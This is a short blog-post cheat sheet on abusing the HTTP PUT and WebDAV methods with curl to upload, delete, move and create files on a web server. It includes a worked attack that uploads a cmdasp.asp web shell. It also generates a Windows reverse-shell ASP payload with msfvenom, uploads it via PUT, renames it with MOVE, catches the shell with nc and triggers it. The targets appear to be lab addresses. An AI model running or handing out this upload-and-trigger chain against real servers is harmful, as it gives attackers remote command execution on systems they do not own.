curling pages-PUT-METHOD

When the PUT method is available you can PUT files on web servers..


curl -T localfile http://example.com/new/resource/file
curl --upload-file file.html http://0.0.0.0/file.html -i 
curl -i -X PUT -H "Content-Type: application/asp; charset=utf-8" -d @"cmdasp.asp" http://10.11.1.229
curl -d "data to PUT" -X PUT http://example.com/new/resource/file
To delete a file..
curl -X "DELETE" http://exaple.com/file 
Moving a file...
curl -X MOVE --header 'Destination:http://example.org/new.txt' 'https://example.com/old.txt'
Make a directory....
curl -X MKCOL 'https://example.com/new_folder'
 
 
Example
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8888 -f asp > shell2.asp --platform windows --arch x86
cp shell2.asp  shell2-asp.html
curl -T shell2-asp.html -X PUT http://10.10.10.15/shell2-asp.html
curl -X MOVE --header 'Destination:http://10.10.10.15/shell2.asp' 'http://10.10.10.15/shell2-asp.html'
 nc -lvp 8888
curl 'http://10.10.10.15/shell2.asp' 

No comments:

Post a Comment